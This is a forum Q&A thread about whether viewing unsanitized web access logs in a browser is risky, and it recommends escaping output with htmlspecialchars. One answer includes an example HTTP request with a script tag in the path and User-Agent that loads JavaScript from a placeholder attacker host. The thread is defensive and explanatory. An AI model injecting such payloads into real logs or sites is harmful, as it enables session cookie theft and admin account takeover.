Is it dangerous thing to view access log without sanitizing via web browser?

Question

Is it dangerous thing to view access log without sanitizing via web browser?

I am considering to record access log, and I am considering to view it via wev browser, but if attacker modifies his remote host or user agent or something, can he attack to me?

By inserting attacking code into his remote host or user agent or ect.

So do I need to sanitize by htmlspecialchar before opening the access log file via web browser?

I mean attacker insert some attacking code into his remote host or user agent or someware, then I see that access log via web browser, then my PC will be affected that code.

Answer 1

Yes, this is dangerous.

For example, a malicious user can just request something like this:

GET /<script src="http://www.evilsite.com/malicious.js"></script> HTTP/1.1
Host: www.example.com
Connection: close
User-Agent: <script src="http://www.evilsite.com/malicious.js"></script>

And compromise your view page with malicious JavaScript.

Since you're probably viewing the log on your site, you'd be logged in as an account with administrative rights. With the malicious JavaScript, the attacker can steal your session cookie and take over your session, complete with all the things you can do while logged in.

So, in conclusion, you should definitely escape access log pages, unless you like having your administrative accounts compromised.

Answer 2

Theoretically it is possible, yes, and you should commend yourself for having the right mindset to think about it that way. Sanitizing any uncontrolled input before displaying it in a web-browser is always a good idea.

I would run the log output through htmlspecialchars().